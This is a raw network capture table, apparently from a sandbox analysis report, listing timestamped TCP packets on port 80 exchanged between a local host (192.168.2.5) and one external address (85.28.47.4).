Jun 27, 2024 19:26:01.873111963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.873457909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.873527050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.873610973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.873625994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.873640060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.873655081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.873667955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.873672962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.873672962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.873682976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.873694897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.873702049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.873718023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.873718023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.873733997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.873749971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.873761892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.873763084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.873766899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.873783112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.873788118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.873788118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.873797894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.873806953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.873831987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.873831987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.874286890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.874303102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.874317884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.874344110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.874346018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.874360085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.874366999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.874376059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.874385118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.874392986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.874409914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.874411106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.874411106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.874425888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.874429941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.874449015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.874449015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.874465942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.874469042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.874483109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.874490976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.874500036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.874512911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.874516010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.874533892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.874537945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.874538898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.874557972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.874576092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.875262976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.875284910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.875317097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.875320911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.875333071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.875348091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.875364065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.875376940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.875379086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.875376940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.875376940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.875376940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.875395060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.875411034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.875427008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.875432014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.875432014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.875432014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.875442028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.875458002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.875463963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.875463963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.875473976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.875489950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.875490904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.875489950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.875508070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.875518084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.875524998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.875540972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.875543118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.875544071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.875569105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.875590086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.876286030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.876302004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.876316071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.876331091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.876332998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.876341105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.876348972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.876362085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.876365900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.876369953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.876380920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.876389980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.876396894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.876399040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.876413107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.876418114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.876431942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.876446009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.876446962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.876463890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.876468897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.876487970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.876497984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.876504898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.876504898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.876524925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.876526117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.876538992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.876543045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.876559973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.876569986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.876590014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.876597881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.877053022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.877104998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.877255917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.877271891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.877286911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.877300978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.877304077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.877316952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.877317905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.877336025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.877342939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.877351999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.877365112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.877368927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.877372026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.877384901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.877392054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.877402067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.877412081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.877419949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.877420902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.877435923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.877439022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.877449989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.877451897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.877465010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.877473116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.877482891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.877484083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.877500057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.877501965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.877516031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.877537966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.878066063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.878097057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.878112078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.878113985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.878132105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.878142118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.960195065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.960237980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.960253954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.960316896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.960398912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.960422993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.960438967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.960468054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.960478067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.960544109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.960558891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.960578918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.960593939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.960596085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.960608006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.960623980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.960633993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.960809946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.960824013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.960838079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.960854053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.960866928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.960875034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.960881948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.960892916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.960901976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.960913897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.960916996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.960932970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.960957050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.960957050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.961182117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961196899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961222887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961239100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961252928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.961253881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961252928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.961272001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961289883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961286068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.961286068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.961307049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961312056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.961313009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.961323023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961337090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961343050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.961343050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.961352110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961368084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.961368084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.961369991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961385965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961401939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961406946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.961406946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.961426973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.961446047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.961857080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961873055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961886883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961903095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961919069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961921930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.961921930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.961934090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961949110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.961951017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961967945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.961970091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.961992979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962011099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962193966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962208986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962222099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962248087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962263107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962263107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962263107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962279081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962287903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962295055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962302923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962313890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962330103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962330103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962416887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962662935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962676048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962691069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962706089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962707996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962721109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962735891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962735891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962738037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962754965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962771893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962779045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962779045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962790012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962805986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962815046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962824106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962833881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962841034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962852001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962858915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962872982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962876081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962893963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962898016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962898970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962909937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962918997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962929964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.962944984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962944984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.962975025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.963668108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.963682890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.963697910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.963715076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.963731050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.963733912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.963748932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.963764906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.963771105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.963771105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.963782072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.963792086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.963799000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.963809967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.963818073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.963826895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.963835001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.963845015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.963852882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.963870049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.963870049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.963870049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.963886976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.963895082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.963902950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.963910103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.963918924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.963928938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.963947058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.963969946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.964596987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.964612961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.964627981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.964643955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.964659929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.964668036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.964674950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.964689016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.964690924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.964708090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.964709044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.964723110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.964735031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.964735031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.964741945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.964757919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.964775085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.964776039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.964776039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.964776993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.964792013 CEST	80	49705	85.28.47.4	192.168.2.5
